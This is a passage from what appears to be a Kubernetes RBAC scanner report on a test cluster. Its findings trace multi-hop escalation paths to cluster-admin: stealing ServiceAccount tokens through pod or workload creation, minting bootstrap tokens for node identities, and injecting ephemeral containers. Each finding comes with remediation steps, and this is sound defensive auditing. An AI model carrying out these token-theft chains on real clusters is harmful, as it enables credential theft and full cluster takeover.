1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cert-manager/cert-manager via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cert-manager/cert-manager
2. ServiceAccount/cert-manager/cert-manager → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-pod-create (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-pod-create (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cert-manager/cert-manager ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. The identity ServiceAccount/cert-manager/cert-manager already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cert-manager/cert-manager
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cert-manager/cert-manager).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cert-manager/cert-manager)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 9.2
ServiceAccount/rbac-fixtures/sa-workload-mutate can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-workload-mutate → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cert-manager/cert-manager via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount cert-manager/cert-manager
2. ServiceAccount/cert-manager/cert-manager → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-workload-mutate (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-workload-mutate (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/cert-manager/cert-manager. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. The identity ServiceAccount/cert-manager/cert-manager already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cert-manager/cert-manager
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cert-manager/cert-manager).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cert-manager/cert-manager)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/vulnerable/privileged-reader Cluster 9.2
ServiceAccount/vulnerable/privileged-reader can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/privileged-reader → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cert-manager/cert-manager via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cert-manager/cert-manager
2. ServiceAccount/cert-manager/cert-manager → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/vulnerable/privileged-reader (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/vulnerable/privileged-reader (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/cert-manager/cert-manager ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. The identity ServiceAccount/cert-manager/cert-manager already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cert-manager/cert-manager
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cert-manager/cert-manager).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cert-manager/cert-manager)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Cluster 9.1
ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach cluster-admin equivalent in 3 hop(s)
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-decoy-sa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
3. ServiceAccount/foothold-exec/foothold-decoy-sa → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-tokenwriter (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/nodeid-fixtures/nodeid-tokenwriter (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/foothold-exec/foothold-decoy-sa.
  4. The identity ServiceAccount/foothold-exec/foothold-decoy-sa already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  5. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 9.1
ServiceAccount/privesc-fixtures/sa-secret-mint can reach cluster-admin equivalent in 3 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-secret-mint → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/foothold-exec/foothold-decoy-sa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
3. ServiceAccount/foothold-exec/foothold-decoy-sa → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-secret-mint (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/privesc-fixtures/sa-secret-mint (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/foothold-exec/foothold-decoy-sa.
  4. The identity ServiceAccount/foothold-exec/foothold-decoy-sa already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  5. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission create,get secrets in kube-system that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission create,get secrets in kube-system that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 8.9
ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach cluster-admin equivalent in 3 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
3. ServiceAccount/foothold-exec/foothold-decoy-sa → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-create-escape (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/privesc-fixtures/sa-pod-create-escape (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/foothold-exec/foothold-decoy-sa via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa.
  4. The identity ServiceAccount/foothold-exec/foothold-decoy-sa already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  5. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

